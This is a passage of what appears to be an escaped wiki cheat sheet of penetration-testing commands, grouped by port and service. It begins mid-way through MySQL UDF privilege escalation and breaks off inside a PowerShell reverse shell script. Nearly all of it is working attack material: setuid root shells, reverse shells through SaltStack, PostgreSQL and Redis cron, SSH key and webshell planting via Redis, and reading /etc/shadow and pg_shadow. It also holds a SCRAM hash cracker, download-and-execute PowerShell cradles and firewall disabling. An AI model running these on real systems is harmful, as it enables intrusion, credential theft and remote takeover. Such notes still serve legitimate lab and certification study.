 * mysql&amp;gt; create function do_system returns integer soname &#039;raptor_udf2.so&#039;;&lt;br /&gt;
 * mysql&amp;gt; select * from mysql.func;&lt;br /&gt;
 * +-----------+-----+----------------+----------+&lt;br /&gt;
 * | name      | ret | dl             | type     |&lt;br /&gt;
 * +-----------+-----+----------------+----------+&lt;br /&gt;
 * | do_system |   2 | raptor_udf2.so | function |&lt;br /&gt;
 * +-----------+-----+----------------+----------+&lt;br /&gt;
 * mysql&amp;gt; select do_system(&#039;id &amp;gt; /tmp/out; chown raptor.raptor /tmp/out&#039;);&lt;br /&gt;
# OR&lt;br /&gt;
select do_system(&#039;cp /bin/bash /tmp/out; chmod +xs /tmp/out&#039;);&lt;br /&gt;
 * mysql&amp;gt; \! sh&lt;br /&gt;
 * sh-2.05b$ cat /tmp/out&lt;br /&gt;
 * uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm)&lt;br /&gt;
 * [...]&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Privilege escalation method 2 ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
https://github.com/mysqludf/lib_mysqludf_sys&lt;br /&gt;
# Compiling the above will sometimes not work and you have to do some editing. See the below commands to fix issue and compile correct.&lt;br /&gt;
xxd -p lib_mysqludf_sys.so| tr -d &#039;\n&#039; &amp;gt; lib_mysqludf_sys.so.hex&lt;br /&gt;
cat lib_mysqludf_sys.so.hex |  xclip -selection clipboard&lt;br /&gt;
MariaDB [(none)]&amp;gt; select @@plugin_dir&lt;br /&gt;
MariaDB [(none)]&amp;gt;  set @shell = 0x7f454c4602010100000000000000000003003e000100000000110000000000004000000000000000e03b0000000000000000000040003800090040001c001b000100000004000000000000...00000000000000000000;&lt;br /&gt;
MariaDB [(none)]&amp;gt; select binary @shell into dumpfile @@plugin_dir; # Write out the plugin dir like this &#039;/usr/lib/lib_mysqludf_sys.so&lt;br /&gt;
MariaDB [(none)]&amp;gt; create function sys_exec returns int soname &#039;udf_sys_exec.so&#039;;&lt;br /&gt;
MariaDB [(none)]&amp;gt; select * from mysql.func where name=&#039;sys_exec&#039;;&lt;br /&gt;
MariaDB [(none)]&amp;gt; select sys_exec(&#039;cp /bin/sh /tmp/; chown root:root /tmp/sh; chmod +s /tmp/sh&#039;)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
git clone https://github.com/mysqludf/lib_mysqludf_sys.git&lt;br /&gt;
cd lib_mysqludf_sys&lt;br /&gt;
rm lib_mysqludf_sys.so&lt;br /&gt;
sed -i &#039;s|$(LIBDIR)|.|g&#039; Makefile&lt;br /&gt;
sed -i &#039;s|-Wall -I/usr/include/mysql|-Wall -I/usr/include/mariadb/server -I/usr/include/mariadb/ -I/usr/include/mariadb/server/private|g&#039; Makefile&lt;br /&gt;
ex lib_mysqludf_sys.c &amp;lt;&amp;lt;&amp;lt;&amp;quot;57,62m27|wq&amp;quot;&lt;br /&gt;
sudo apt install libmariadbd-dev&lt;br /&gt;
make&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== 3389 - RDP ==&lt;br /&gt;
&lt;br /&gt;
=== Add user and enable RDP ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# https://github.com/xapax/oscp/blob/master/templates/windows-template.md&lt;br /&gt;
net user aghanim Password123 /add&lt;br /&gt;
net localgroup Administrators aghanim /add&lt;br /&gt;
net localgroup &amp;quot;Remote Desktop Users&amp;quot; aghanim /ADD&lt;br /&gt;
# Enable RDP&lt;br /&gt;
reg add &amp;quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server&amp;quot; /v fDenyTSConnections /t REG_DWORD /d 0 /f&lt;br /&gt;
Turn firewall off&lt;br /&gt;
netsh firewall set opmode disable&lt;br /&gt;
Or like this&lt;br /&gt;
reg add &amp;quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server&amp;quot; /v fDenyTSConnections /t REG_DWORD /d 0 /f&lt;br /&gt;
If you get this error:&lt;br /&gt;
&amp;quot;ERROR: CredSSP: Initialize failed, do you have correct kerberos tgt initialized ?&lt;br /&gt;
Failed to connect, CredSSP required by server.&amp;quot;&amp;quot;&lt;br /&gt;
Add this reg key:&lt;br /&gt;
reg add &amp;quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp&amp;quot; /v UserAuthentication /t REG_DWORD /&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== ThinVNC ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
https://www.exploit-db.com/exploits/47519&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== 4505, 4506 - zmtp ==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# RCE in Satlstack 3000 ZeroMQ CVE-2020-11651 and CVE-2020-11652 in&lt;br /&gt;
# https://github.com/jasperla/CVE-2020-11651-poc&lt;br /&gt;
python3 exploit.py --master 192.168.115.130 --exec &amp;quot;nc 127.0.0.1 4444 -e /bin/sh&amp;quot;&lt;br /&gt;
python3 exploit.py --master 192.168.115.130 -r /etc/shadow&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== 5432, 5433 - PostgreSQL ==&lt;br /&gt;
&lt;br /&gt;
=== Commands ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
psql -U  # Open psql console with user&lt;br /&gt;
psql -h  -U  -d  # Remote connection&lt;br /&gt;
psql -h  -p  -U  -W   # Remote connection&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;sql&amp;quot;&amp;gt;&lt;br /&gt;
psql -h localhost -d  -U  #Password will be prompted&lt;br /&gt;
\list # List databases&lt;br /&gt;
\c  # use the database&lt;br /&gt;
\d # List tables&lt;br /&gt;
\du+ # Get users roles&lt;br /&gt;
#Read a file&lt;br /&gt;
CREATE TABLE demo(t text);&lt;br /&gt;
COPY demo from &#039;[FILENAME]&#039;;&lt;br /&gt;
SELECT * FROM demo;&lt;br /&gt;
#Write ascii to a file (copy to cannot copy binary data)&lt;br /&gt;
COPY (select convert_from(decode(&#039;&#039;,&#039;base64&#039;),&#039;utf-8&#039;)) to &#039;C:\\some\\interesting\path.cmd&#039;;&lt;br /&gt;
#List databases&lt;br /&gt;
SELECT datname FROM pg_database;&lt;br /&gt;
#Read credentials (usernames + pwd hash)&lt;br /&gt;
SELECT usename, passwd from pg_shadow;&lt;br /&gt;
#Check if current user is superiser&lt;br /&gt;
SELECT current_setting(&#039;is_superuser&#039;); #If response is &amp;quot;on&amp;quot; then true, if &amp;quot;off&amp;quot; then false&lt;br /&gt;
#Check if plpgsql is enabled&lt;br /&gt;
SELECT lanname,lanacl FROM pg_language WHERE lanname = &#039;plpgsql&#039;&lt;br /&gt;
#Change password&lt;br /&gt;
ALTER USER user_name WITH PASSWORD &#039;new_password&#039;;&lt;br /&gt;
#Check users privileges over a table (pg_shadow on this example)&lt;br /&gt;
SELECT grantee, privilege_type&lt;br /&gt;
FROM information_schema.role_table_grants&lt;br /&gt;
WHERE table_name=&#039;pg_shadow&#039;&lt;br /&gt;
#Get users roles&lt;br /&gt;
SELECT&lt;br /&gt;
      r.rolname,&lt;br /&gt;
      r.rolsuper,&lt;br /&gt;
      r.rolinherit,&lt;br /&gt;
      r.rolcreaterole,&lt;br /&gt;
      r.rolcreatedb,&lt;br /&gt;
      r.rolcanlogin,&lt;br /&gt;
      r.rolconnlimit, r.rolvaliduntil,&lt;br /&gt;
  ARRAY(SELECT b.rolname&lt;br /&gt;
        FROM pg_catalog.pg_auth_members m&lt;br /&gt;
        JOIN pg_catalog.pg_roles b ON (m.roleid = b.oid)&lt;br /&gt;
        WHERE m.member = r.oid) as memberof&lt;br /&gt;
, r.rolreplication&lt;br /&gt;
FROM pg_catalog.pg_roles r&lt;br /&gt;
ORDER BY 1;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== RCE ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# https://book.hacktricks.xyz/pentesting-web/sql-injection/postgresql-injection#rce&lt;br /&gt;
#PoC&lt;br /&gt;
DROP TABLE IF EXISTS cmd_exec;&lt;br /&gt;
CREATE TABLE cmd_exec(cmd_output text);&lt;br /&gt;
COPY cmd_exec FROM PROGRAM &#039;id&#039;;&lt;br /&gt;
SELECT * FROM cmd_exec;&lt;br /&gt;
&lt;br /&gt;
postgres=# COPY cmd_exec FROM PROGRAM &#039;perl -MIO -e &#039;&#039;$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,&amp;quot;192.168.49.115:80&amp;quot;);STDIN-&amp;gt;fdopen($c,r);$~-&amp;gt;fdopen($c,w);system$_ while&amp;lt;&amp;gt;;;&lt;br /&gt;
COPY 0&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== 5800, 5801, 5900, 5901 - VNC ==&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== 5985, 5986 - WinRM ==&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== 6370 - Redis ==&lt;br /&gt;
&lt;br /&gt;
=== Commands &amp;amp; info ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Service file&lt;br /&gt;
/etc/systemd/system/redis.service&lt;br /&gt;
# Config file&lt;br /&gt;
installdir/redis/etc/redis. conf&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Crontab ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
root@Urahara:~# echo -e &amp;quot;\n\n*/1 * * * * /usr/bin/python -c &#039;import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\&amp;quot;10.85.0.53\&amp;quot;,8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\&amp;quot;/bin/sh\&amp;quot;,\&amp;quot;-i\&amp;quot;]);&#039;\n\n&amp;quot;|redis-cli -h 10.85.0.52 -x set 1&lt;br /&gt;
OK&lt;br /&gt;
root@Urahara:~# redis-cli -h 10.85.0.52 config set dir /var/spool/cron/crontabs/&lt;br /&gt;
OK&lt;br /&gt;
root@Urahara:~# redis-cli -h 10.85.0.52 config set dbfilename root&lt;br /&gt;
OK&lt;br /&gt;
root@Urahara:~# redis-cli -h 10.85.0.52 save&lt;br /&gt;
OK&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Dumping database ===&lt;br /&gt;
&lt;br /&gt;
=== Load module ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# See PG Sybaris writeup&lt;br /&gt;
# https://book.hacktricks.xyz/pentesting/6379-pentesting-redis#load-redis-module&lt;br /&gt;
# Following the instructions from https://github.com/n0b0dyCN/RedisModules-ExecuteCommand you can compile a redis module to execute arbitrary commands.&lt;br /&gt;
# Then you need some way to upload the compiled module&lt;br /&gt;
# Load the uploaded module at runtime with MODULE LOAD /path/to/mymodule.so&lt;br /&gt;
# List loaded modules to check it was correctly loaded: MODULE LIST&lt;br /&gt;
# Execute commands:&lt;br /&gt;
127.0.0.1:6379&amp;gt; system.exec &amp;quot;id&amp;quot;&lt;br /&gt;
&amp;quot;uid=0(root) gid=0(root) groups=0(root)\n&amp;quot;&lt;br /&gt;
127.0.0.1:6379&amp;gt; system.exec &amp;quot;whoami&amp;quot;&lt;br /&gt;
&amp;quot;root\n&amp;quot;&lt;br /&gt;
127.0.0.1:6379&amp;gt; system.rev 127.0.0.1 9999&lt;br /&gt;
Unload the module whenever you want: MODULE UNLOAD mymodule&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Redis-rogue server ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# A exploit for Redis(&amp;lt;=5.0.5) RCE&lt;br /&gt;
# https://github.com/n0b0dyCN/redis-rogue-server&lt;br /&gt;
# https://2018.zeronights.ru/wp-content/uploads/materials/15-redis-post-exploitation.pdf&lt;br /&gt;
python3 redis-rogue-server.py --rhost=192.168.143.69 --rport=6379 --lhost=192.168.49.143 --lport 6379&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== SSH ===&lt;br /&gt;
&lt;br /&gt;
[https://book.hacktricks.xyz/pentesting/6379-pentesting-redis#ssh Source]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# 1 Generate a ssh public-private key pair on your pc: ssh-keygen -t rsa&lt;br /&gt;
# 2 Write the public key to a file : (echo -e &amp;quot;\n\n&amp;quot;; cat ~/id_rsa.pub; echo -e &amp;quot;\n\n&amp;quot;) &amp;gt; spaced_key.txt&lt;br /&gt;
# 3 Import the file into redis : cat spaced_key.txt | redis-cli -h 10.85.0.52 -x set ssh_key&lt;br /&gt;
# 4 Save the public key to the authorized_keys file on redis server:&lt;br /&gt;
# 4&lt;br /&gt;
root@Urahara:~# redis-cli -h 10.85.0.52&lt;br /&gt;
10.85.0.52:6379&amp;gt; config set dir /var/lib/redis/.ssh&lt;br /&gt;
OK&lt;br /&gt;
10.85.0.52:6379&amp;gt; config set dbfilename &amp;quot;authorized_keys&amp;quot;&lt;br /&gt;
OK&lt;br /&gt;
10.85.0.52:6379&amp;gt; save&lt;br /&gt;
OK&lt;br /&gt;
# Finally, you can ssh to the redis server with private key : ssh -i id_rsa redis@10.85.0.52&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Webshell ===&lt;br /&gt;
&lt;br /&gt;
[https://book.hacktricks.xyz/pentesting/6379-pentesting-redis#webshell Source]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# You must know the path of the Web site folder.&lt;br /&gt;
# Try also /var/www/html&lt;br /&gt;
root@Urahara:~# redis-cli -h 10.85.0.52&lt;br /&gt;
10.85.0.52:6379&amp;gt; config set dir /usr/share/nginx/html&lt;br /&gt;
OK&lt;br /&gt;
10.85.0.52:6379&amp;gt; config set dbfilename redis.php&lt;br /&gt;
OK&lt;br /&gt;
10.85.0.52:6379&amp;gt; set test &amp;quot;&amp;quot;&lt;br /&gt;
OK&lt;br /&gt;
10.85.0.52:6379&amp;gt; save&lt;br /&gt;
OK&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== 27017 - MongoDB ==&lt;br /&gt;
&lt;br /&gt;
=== Crack hash ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;python&amp;quot;&amp;gt;&lt;br /&gt;
# In order to get the password for MonogDB you need to have the SCRAM challanege, either from a pcap or else. You need the username, client nonce, server nonce, salt, and the target hash.&lt;br /&gt;
#!/usr/bin/python3&lt;br /&gt;
import base64&lt;br /&gt;
import hashlib&lt;br /&gt;
import hmac&lt;br /&gt;
import sys&lt;br /&gt;
USERNAME = &#039;admin&#039;&lt;br /&gt;
SALT = &#039;zOa0kWA/OTak0a0vNaN0Zh2drO1uekoDUh4sdg==&#039;&lt;br /&gt;
CLIENT_NONCE = &#039;+CDTb3v9SwhwxAXb4+vZ32l0VsTvrLeK&#039;&lt;br /&gt;
SERVER_NONCE = &#039;+CDTb3v9SwhwxAXb4+vZ32l0VsTvrLeKoGtDP4x0LH5WZgQ9xFMJEJknBHTp6N1D&#039;&lt;br /&gt;
ITERATIONS = 15000&lt;br /&gt;
TARGET = &#039;/nW1YVs0JcvxU48jLHanbkQbZ4GFJ8+Na8fj7xM1s98=&#039;&lt;br /&gt;
WORDLIST = &#039;/usr/share/wordlists/rockyou.txt&#039;&lt;br /&gt;
def byte_xor(ba1, ba2):&lt;br /&gt;
    return bytes([_a ^ _b for _a, _b in zip(ba1, ba2)])&lt;br /&gt;
def proof(username, password, salt, client_nonce, server_nonce, iterations):&lt;br /&gt;
    raw_salt = base64.b64decode(salt)&lt;br /&gt;
    client_first_bare = &#039;n={},r={}&#039;.format(username, client_nonce)&lt;br /&gt;
    server_first = &#039;r={},s={},i={}&#039;.format(server_nonce, salt, iterations)&lt;br /&gt;
    client_final_without_proof = &#039;c=biws,r={}&#039;.format(server_nonce)&lt;br /&gt;
    auth_msg = &#039;{},{},{}&#039;.format(client_first_bare, server_first, client_final_without_proof)&lt;br /&gt;
    salted_password = hashlib.pbkdf2_hmac(&#039;sha256&#039;, password.encode(&#039;utf-8&#039;), raw_salt, iterations)&lt;br /&gt;
    client_key = hmac.digest(salted_password, b&#039;Client Key&#039;, &#039;sha256&#039;)&lt;br /&gt;
    stored_key = hashlib.sha256(client_key).digest()&lt;br /&gt;
    client_signature = hmac.new(stored_key, auth_msg.encode(&#039;utf-8&#039;), &#039;sha256&#039;).digest()&lt;br /&gt;
    client_proof = byte_xor(client_key, client_signature)&lt;br /&gt;
    return base64.b64encode(client_proof).decode(&#039;utf-8&#039;)&lt;br /&gt;
counter = 0&lt;br /&gt;
with open(WORDLIST) as f:&lt;br /&gt;
    for candidate in f:&lt;br /&gt;
        counter = counter + 1&lt;br /&gt;
        if counter % 1000 == 0:&lt;br /&gt;
            print(&#039;Tried {} passwords&#039;.format(counter))&lt;br /&gt;
        p = proof(USERNAME, candidate.rstrip(&#039;\n&#039;), SALT, CLIENT_NONCE, SERVER_NONCE, ITERATIONS)&lt;br /&gt;
        if p == TARGET:&lt;br /&gt;
            print(&#039;Password found: {}&#039;.format(candidate.rstrip(&#039;\n&#039;)))&lt;br /&gt;
            sys.exit(0)&lt;br /&gt;
print(&#039;Wordlist exhausted with no password found.&#039;)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== 29819 - Windows IoT Core SirepServer ==&lt;br /&gt;
&lt;br /&gt;
[https://github.com/SafeBreach-Labs/SirepRAT SirepRAT]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Upload file - Example&lt;br /&gt;
python3 SirepRAT.py 10.10.10.204 LaunchCommandWithOutput --return_output --cmd &amp;quot;C:\Windows\System32\cmd.exe&amp;quot; --args &#039; /c powershell invoke-webrequest -o c:\windows\temp\nc.exe -uri http://10.10.14.12:9000/nc.exe&#039;&lt;br /&gt;
# Execute command - Example&lt;br /&gt;
 python3 SirepRAT.py 10.10.10.204 LaunchCommandWithOutput --return_output --cmd &amp;quot;C:\Windows\System32\cmd.exe&amp;quot; --args &#039; /c c:\windows\temp\nc.exe -e cmd 10.10.14.12 4444&#039;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== Active Directory/Windows ==&lt;br /&gt;
&lt;br /&gt;
https://blog.aghanim.net/?p=2078&lt;br /&gt;
&lt;br /&gt;
=== ASREPRoast ===&lt;br /&gt;
&lt;br /&gt;
=== BloodHound ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Using bloodhound.py. Source https://github.com/fox-it/BloodHound.py.&lt;br /&gt;
# Allows you to collect data for BloodHound from a Linux system, OSX system, or Windows system that has Python installed on it.&lt;br /&gt;
python3 bloodhound.py -c All -d  -u  -p &#039;&#039; -ns&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Start neo4j database&lt;br /&gt;
./neo4j console&lt;br /&gt;
# Start BloodHound&lt;br /&gt;
./BloodHound.bin --no-sandbox&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Curated list of commands ===&lt;br /&gt;
&lt;br /&gt;
=== Dump hash ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# If you have copied over C:\Windows\System32\config\SAM and C:\Windows\System32\config\SYSTEM to attacker machine, use this command to dump the hash.&lt;br /&gt;
usr/bin/impacket-secretsdump -sam SAM -security SECURITY -system SYSTEM LOCAL&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Kerberoast ===&lt;br /&gt;
&lt;br /&gt;
=== Pass The Hash ===&lt;br /&gt;
&lt;br /&gt;
=== Password Spraying ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
crackmapexec smb  -u users.txt -p passwords.txt&lt;br /&gt;
./kerbrute_linux_amd64 passwordspray -d lab.ropnop.com domain_users.txt Password123&lt;br /&gt;
./kerbrute_linux_amd64 bruteuser -d lab.ropnop.com passwords.lst thoffman&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== PSEXEC.py, PSExec.exe, Evil-WinRM ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
python3 psexec.py test.local/john:password123@10.10.10.1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# evil-winrm -u svc-alfresco -p &#039;s3rvice&#039; -i 10.10.10.161&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# From SysInternals&lt;br /&gt;
PsExec.exe -i -u domain\user cmd.exe&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Powershell commands ===&lt;br /&gt;
&lt;br /&gt;
Running powershell x64, and running (IEX) the downloaded ps1 file.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
c:\windows\SysNative\WindowsPowershell\v1.0\powershell.exe IEX (New-Object Net.WebClient).DownloadString(&#039;http://10.10.14.17:9000/mini-reverse.ps1&#039;)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Running Powershell on target with ExectionPolicy to bypass&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
powershell.exe -nop -exec bypass&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Running PowerUp.ps1 on target machine&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
powershell.exe -nop -exec bypass -c &amp;quot;IEX (New-Object Net.WebClient).DownloadString(&#039;http://10.10.14.17:9000/PowerUp.ps1&#039;);Invoke-AllChecks&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Downloading SharpHound.exe on target machine&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
(new-object System.Net.WebClient).DownloadFile(&#039;http://10.10.14.17:9000/SharpHound.exe&#039;, &#039;C:\Users\[...]\Desktop\SharpHound.exe&#039;)&lt;br /&gt;
# Execute SharpHound&lt;br /&gt;
./SharpHound.exe&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Running PowerView.ps1 on target machine&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
IEX(New-Object Net.WebClient).downloadString(&#039;http://10.10.14.45:5555/PowerView.ps1&#039;)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Running Nishangs Invoke-PowershellTCP&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
powershell -c IEX(New-Object Net.WebClient).DownloadString(&#039;http://10.10.14.18:9000/shell.ps1&#039;)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Use invoke webrequest and download script. With -UseBasicParsing. &#039;&#039;-UseBasicParsing - Indicates that the cmdlet uses the response object for HTML content without Document Object Model (DOM) parsing. This parameter is required when Internet Explorer is not installed on the computers, such as on a Server Core installation of a Windows Server operating system.&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
iex (iwr &#039;10.10.14.9:9000/ipw.ps1&#039;) -UseBasicParsing&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Download a file and save it to location.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
powershell Invoke-WebRequest -outfile c:\windows\system32\spool\drivers\color\nc.exe -uri http://10.10.14.24/nc64.exe&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Mini-reverseshell.ps1&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
$socket = new-object System.Net.Sockets.TcpClient(&#039;127.0.0.1&#039;, 413);&lt;br /&gt;
if($socket -eq $null){exit 1}&lt;br /&gt;
$stream = $socket.GetStream();&lt;br /&gt;
$writer = new-object System.IO.StreamWriter($stream);&lt;br /&gt;
$buffer = new-object System.Byte[] 1024;&lt;br /&gt;
$encoding = new-object System.Text.AsciiEncoding;&lt;br /&gt;
do&lt;br /&gt;
{&lt;br /&gt;
	$writer.Flush();&lt;br /&gt;
	$read = $null;&lt;br /&gt;
	$res = &amp;quot;&amp;quot;&lt;br /&gt;
	while($stream.DataAvailable -or $read -eq $null) {&lt;br /&gt;
		$read = $stream.Read($buffer, 0, 1024)&lt;br /&gt;
	}&lt;br /&gt;
	$out = $encoding.GetString($buffer, 0, $read).Replace(&amp;quot;`r`n&amp;quot;,&amp;quot;&amp;quot;).Replace(&amp;quot;`n&amp;quot;,&amp;quot;&amp;quot;);&lt;br /&gt;
	if(!$out.equals(&amp;quot;exit&amp;quot;)){&lt;br /&gt;
		$args = &amp;quot;&amp;quot;;&lt;br /&gt;
		if($out.IndexOf(&#039; &#039;) -gt -1){&lt;br /&gt;
			$args = $out.substring($out.IndexOf(&#039; &#039;)+1);&lt;br /&gt;
			$out = $out.substring(0,$out.IndexOf(&#039; &#039;));&lt;br /&gt;
			if($args.split(&#039; &#039;).length -gt 1){&lt;br /&gt;
                $pinfo = New-Object System.Diagnostics.ProcessStartInfo&lt;br /&gt;
                $pinfo.FileName = &amp;quot;cmd.exe&amp;quot;&lt;br /&gt;
                $pinfo.RedirectStandardError = $true&lt;br /&gt;
                $pinfo.RedirectStandardOutput = $true&lt;br /&gt;
                $pinfo.UseShellExecute = $false&lt;br /&gt;
                $pinfo.Arguments = &amp;quot;/c $out $args&amp;quot;&lt;br /&gt;
                $p = New-Object System.Diagnostics.Process&lt;br /&gt;
                $p.StartInfo = $pinfo&lt;br /&gt;
